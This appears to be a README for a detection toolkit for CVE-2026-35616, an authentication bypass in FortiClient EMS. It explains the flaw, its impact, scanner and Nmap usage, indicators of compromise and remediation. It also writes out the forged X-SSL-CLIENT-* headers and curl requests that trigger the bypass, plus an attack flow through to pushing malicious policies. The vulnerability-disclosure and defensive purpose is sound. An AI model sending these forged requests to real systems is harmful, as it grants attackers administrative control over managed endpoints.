A critical authentication bypass in Fortinet FortiClient EMS 7.4.5 and 7.4.6 allows a completely unauthenticated, remote attacker to bypass API authentication by spoofing a single HTTP header (X-SSL-CLIENT-VERIFY). The flaw exists because the Django middleware trusts client certificate metadata from user-controlled headers, not just from the trusted reverse proxy. This gives attackers full administrative API access - and from there, arbitrary code execution on managed endpoints across the enterprise.
Actively exploited since March 31, 2026. Added to CISA KEV on April 6, 2026.
- Quick Facts
- What is FortiClient EMS?
- Vulnerability Deep Dive
- Impact Analysis
- Affected Versions
- Exploitation Timeline
- Detection
- Indicators of Compromise
- Remediation
- References
- Author
| Field | Detail |
|---|---|
| CVE ID | CVE-2026-35616 |
| Vendor | Fortinet |
| Product | FortiClient Enterprise Management Server (EMS) |
| Affected Versions | 7.4.5, 7.4.6 |
| Not Affected | 7.2.x branch, 7.4.4 and earlier |
| CVSS v3.1 | 9.1 (Critical) |
| CWE | CWE-284 - Improper Access Control |
| Attack Vector | Network |
| Authentication | None required |
| User Interaction | None |
| Exploit Maturity | Exploited in the wild |
| CISA KEV | Added April 6, 2026 (deadline: April 9, 2026) |
| Patch | Hotfix available; full fix in 7.4.7 |
| Credited To | Simo Kohonen (Defused Cyber), Nguyen Duc Anh |
FortiClient Enterprise Management Server (EMS) is Fortinet's centralized endpoint management platform. It serves as the command-and-control layer for deploying, configuring, and monitoring FortiClient agents across an organization. Think of it as the brain that governs every endpoint in a Fortinet-managed environment:
- Pushes security policies and VPN profiles to endpoints
- Manages endpoint compliance and posture checks
- Distributes software updates and patches
- Integrates with FortiGate firewalls for Zero Trust Network Access (ZTNA)
- Stores and manages endpoint telemetry, certificates, and credentials
When an attacker gains administrative access to EMS, they essentially own the keys to every managed endpoint in the organization.
FortiClient EMS uses a fairly standard web application stack behind the scenes:
+----------------+ +----------------+ +----------------+
| Browser / | HTTPS | Apache | WSGI | Django |
| API Client | -------> | (mod_ssl) | -------> | Backend |
+----------------+ +----------------+ +----------------+
When mutual TLS (mTLS) is configured, Apache's mod_ssl handles the client certificate verification. After validating the certificate, Apache passes the verification result downstream to Django through trusted WSGI environment variables:
SSL_CLIENT_VERIFY- The verification status (SUCCESS,NONE,FAILED)SSL_CLIENT_S_DN- The Subject Distinguished Name from the certificateSSL_CLIENT_SERIAL- The certificate serial number
This is the standard and secure pattern. The problem is in how the Django middleware reads this data.
In FortiClient EMS 7.4.5 and 7.4.6, the Django authentication middleware was modified to also accept this same information from HTTP request headers:
X-SSL-CLIENT-VERIFYX-SSL-CLIENT-S-DNX-SSL-CLIENT-SERIAL
This was likely added to support reverse proxy deployments where Apache isn't the TLS termination point. However, the middleware doesn't distinguish between these two sources. It checks the WSGI variables first, but if they're absent (no mTLS configured, or a direct connection), it falls back to the HTTP headers - which any client can set.
Here's the conceptual breakdown:
SECURE PATH (intended):
Apache mod_ssl validates cert --> sets WSGI env vars --> Django reads env vars [OK]
INSECURE PATH (the vulnerability):
Attacker sets HTTP headers directly --> Django reads headers --> Trusts them [FAIL]
The middleware effectively trusts the client to self-attest their own certificate verification status. That's like a bouncer asking someone "Hey, did the other bouncer already check your ID?" and letting them in when they say "yes."
Step 1: Attacker sends a POST request to an EMS API endpoint
with these headers:
X-SSL-CLIENT-VERIFY: SUCCESS
X-SSL-CLIENT-S-DN: CN=admin
X-SSL-CLIENT-SERIAL: 0000000000000001
Step 2: Django middleware checks for WSGI env vars → not present
Falls back to HTTP headers → finds X-SSL-CLIENT-VERIFY: SUCCESS
Step 3: Middleware treats request as authenticated with admin identity
Step 4: Attacker has full administrative API access
Step 5: From the admin API, attacker can:
- Push malicious policies to all managed endpoints
- Extract stored credentials and certificates
- Deploy payloads via software distribution
- Modify ZTNA configurations
- Pivot into the broader network
The entire attack requires a single HTTP request. No brute-forcing, no credential stuffing, no social engineering. Just one forged header.
The severity here goes beyond the server itself. FortiClient EMS is a force multiplier - compromising it gives an attacker leverage over every managed endpoint:
Immediate Impact:
- Full administrative control over the EMS console
- Access to all stored endpoint configurations, credentials, and certificates
- Ability to read/modify/delete endpoint policies
- Access to VPN configurations and ZTNA settings
Downstream Impact (via managed endpoints):
- Malware deployment to all managed devices via software distribution
- Credential harvesting from endpoint telemetry
- Disable or weaken security controls on all managed endpoints
- Lateral movement via VPN/ZTNA configuration manipulation
- Persistent backdoor access through policy-based payload delivery
Enterprise Risk:
- In a typical enterprise deployment, EMS manages hundreds to thousands of endpoints
- A single exploited EMS instance can lead to organization-wide compromise
- FortiClient EMS is often positioned in a trusted network zone with broad access
| Version | Status |
|---|---|
| FortiClient EMS 7.4.6 | Vulnerable |
| FortiClient EMS 7.4.5 | Vulnerable |
| FortiClient EMS 7.4.4 and earlier | Not affected |
| FortiClient EMS 7.2.x | Not affected |
| Date | Event |
|---|---|
| ~Late March 2026 | Vulnerability discovered and reported by Simo Kohonen and Nguyen Duc Anh |
| March 31, 2026 | First exploitation attempts recorded against honeypots (Defused Cyber) |
| April 4, 2026 | Fortinet releases emergency hotfixes for 7.4.5 and 7.4.6 |
| April 6, 2026 | CISA adds CVE-2026-35616 to KEV catalog (deadline: April 9, 2026) |
| April 13, 2026 | This detection toolkit published |
The Python script tests multiple API endpoints using a differential-response technique.
How it works:
- Fingerprinting - Identifies FortiClient EMS via HTTP response body and headers
- Baseline request - Sends a POST to each API endpoint without spoof headers (expects
HTTP 401 Unauthorized) - Spoofed request - Sends the same request with
X-SSL-CLIENT-VERIFY: SUCCESSinjected - Comparison - If the status code changes from
401to anything else (typically500or200), the authentication bypass is confirmed
No exploitation payload is ever sent. The test is safe for production.
Usage:
# Install dependencies (only stdlib needed for this script)
pip install -r requirements.txt
# Single target
python CVE-2026-35616_FortiClientEMS_detector.py -t 192.168.1.100
# Custom port
python CVE-2026-35616_FortiClientEMS_detector.py -t ems.corp.local -p 8443
# Bulk scan from file
python CVE-2026-35616_FortiClientEMS_detector.py -f targets.txt
# JSON output saved to file
python CVE-2026-35616_FortiClientEMS_detector.py -t 192.168.1.100 --json -o results.json
# With SSL certificate verification enabled
python CVE-2026-35616_FortiClientEMS_detector.py -t 192.168.1.100 --verify-ssl
# Increased timeout for slow networks
python CVE-2026-35616_FortiClientEMS_detector.py -t 192.168.1.100 --timeout 20Options:
| Flag | Description | Default |
|---|---|---|
-t, --target |
Target IP or hostname | - |
-f, --file |
File with targets, one per line (lines starting with # are skipped) |
- |
-p, --port |
Target port | 443 |
--timeout |
Connection timeout in seconds | 10 |
--verify-ssl |
Enable SSL certificate verification | Disabled |
--json |
Output results in JSON format | Off |
-o, --output |
Save results to a file | - |
Example output:
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-35616 - FortiClient EMS Auth Bypass Detector ║
║ Pre-Authentication API Access Bypass → Privilege Escalation║
║ CVSS: 9.1 (Critical) | CISA KEV: Active Exploitation ║
╚══════════════════════════════════════════════════════════════╝
[*] Scanning 192.168.1.100:443...
Target: 192.168.1.100:443
============================================================
[*] FortiClient EMS detected (Version: Unknown)
Vulnerability Test Results:
[VULNERABLE] /api/v1/auth/signin Baseline: 401 → Spoofed: 500
[VULNERABLE] /api/v1/system/status Baseline: 401 → Spoofed: 500
[NOT VULN] /api/v1/endpoints Baseline: 401 → Spoofed: 401
[!] TARGET IS LIKELY VULNERABLE TO CVE-2026-35616
Pre-authentication API bypass confirmed. Apply hotfix immediately!
Remediation: Upgrade to FortiClient EMS 7.4.7 or apply the hotfix
# Install the NSE script
sudo cp CVE-2026-35616_FortiClientEMS.nse /usr/share/nmap/scripts/
sudo nmap --script-updatedb
# Basic scan
nmap -p 443 --script CVE-2026-35616_FortiClientEMS <target>
# Scan a subnet
nmap -p 443 --script CVE-2026-35616_FortiClientEMS 10.0.0.0/24
# Scan multiple targets from a file
nmap -p 443 --script CVE-2026-35616_FortiClientEMS -iL targets.txt
# With service version detection
nmap -sV -p 443 --script CVE-2026-35616_FortiClientEMS <target>Example Nmap output:
PORT STATE SERVICE
443/tcp open https
| CVE-2026-35616_FortiClientEMS:
| VULNERABLE:
| FortiClient EMS Pre-Authentication API Bypass
| State: VULNERABLE
| IDs: CVE:CVE-2026-35616
| Risk factor: Critical (CVSS: 9.1)
| Disclosure date: 2026-04-04
| Extra information:
| Affected endpoints: 2
| Remediation: Apply hotfix for FortiClient EMS 7.4.5/7.4.6 or upgrade to 7.4.7
| CISA KEV deadline: April 9, 2026
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-35616
|_ https://www.cisa.gov/known-exploited-vulnerabilities-catalog
If you want to confirm manually with curl:
# Step 1: Baseline - should return 401
curl -sk -X POST https://<TARGET>:443/api/v1/auth/signin \
-H "Content-Type: application/json" \
-d '{}' \
-o /dev/null -w "%{http_code}\n"
# Step 2: Spoofed - if returns anything other than 401, likely vulnerable
curl -sk -X POST https://<TARGET>:443/api/v1/auth/signin \
-H "Content-Type: application/json" \
-H "X-SSL-CLIENT-VERIFY: SUCCESS" \
-H "X-SSL-CLIENT-S-DN: CN=admin" \
-H "X-SSL-CLIENT-SERIAL: 0000000000000001" \
-d '{}' \
-o /dev/null -w "%{http_code}\n"If the first returns 401 and the second returns 500 or 200, the instance is vulnerable.
Watch for these signs in your environment:
- Anomalous API requests containing
X-SSL-CLIENT-VERIFYheaders from non-proxy sources - Unexpected policy changes pushed to endpoints without admin session activity
- New admin accounts or modified credentials in EMS without corresponding activity logs
- Unusual FortiClient agent behavior on managed endpoints (new software installations, policy changes)
- Apache access logs showing API calls without corresponding mTLS handshakes
- Honeypot/IDS alerts for requests with certificate-related header injection
Log sources to review:
- FortiClient EMS application logs
- Apache access and error logs
- FortiClient agent logs on managed endpoints
- Network flow data showing connections to EMS API ports
Immediate actions (do these now):
- Apply the hotfix - Fortinet released emergency hotfixes for FortiClient EMS 7.4.5 and 7.4.6 on April 4, 2026
- Restrict network access - Limit access to the EMS management interface to trusted admin networks only (firewall rules, ACLs)
- Monitor API activity - Enable detailed logging and watch for anomalous API access patterns
Short-term (this week):
- Upgrade to FortiClient EMS 7.4.7 when available for the complete fix
- Audit endpoint configurations - Check all managed endpoints for unauthorized policy changes
- Rotate credentials - Change all admin passwords and regenerate any certificates managed by EMS
- Review managed endpoints - Scan for signs of malware deployment or unauthorized configuration changes
Long-term:
- Network segmentation - Ensure EMS is in an isolated management VLAN with strict access controls
- WAF/reverse proxy rules - Deploy rules to strip
X-SSL-CLIENT-VERIFY,X-SSL-CLIENT-S-DN, andX-SSL-CLIENT-SERIALheaders from incoming requests at the network edge - Monitoring - Implement alerting on any API access without valid mTLS sessions
- CISA KEV Catalog - CVE-2026-35616
- Tenable Blog - CVE-2026-35616 Analysis
- Bishop Fox - API Authentication Bypass in FortiClient EMS
- SOCRadar - CVE-2026-35616 FortiClient EMS Auth Bypass
- Horizon3.ai - CVE-2026-35616 Analysis
- BleepingComputer - FortiClient EMS Flaw Exploited in Attacks
- The Hacker News - Fortinet Patches Actively Exploited CVE-2026-35616
Kerem Oruç - Cybersecurity Engineer
- GitHub: @keraattin
- Twitter: @keraattin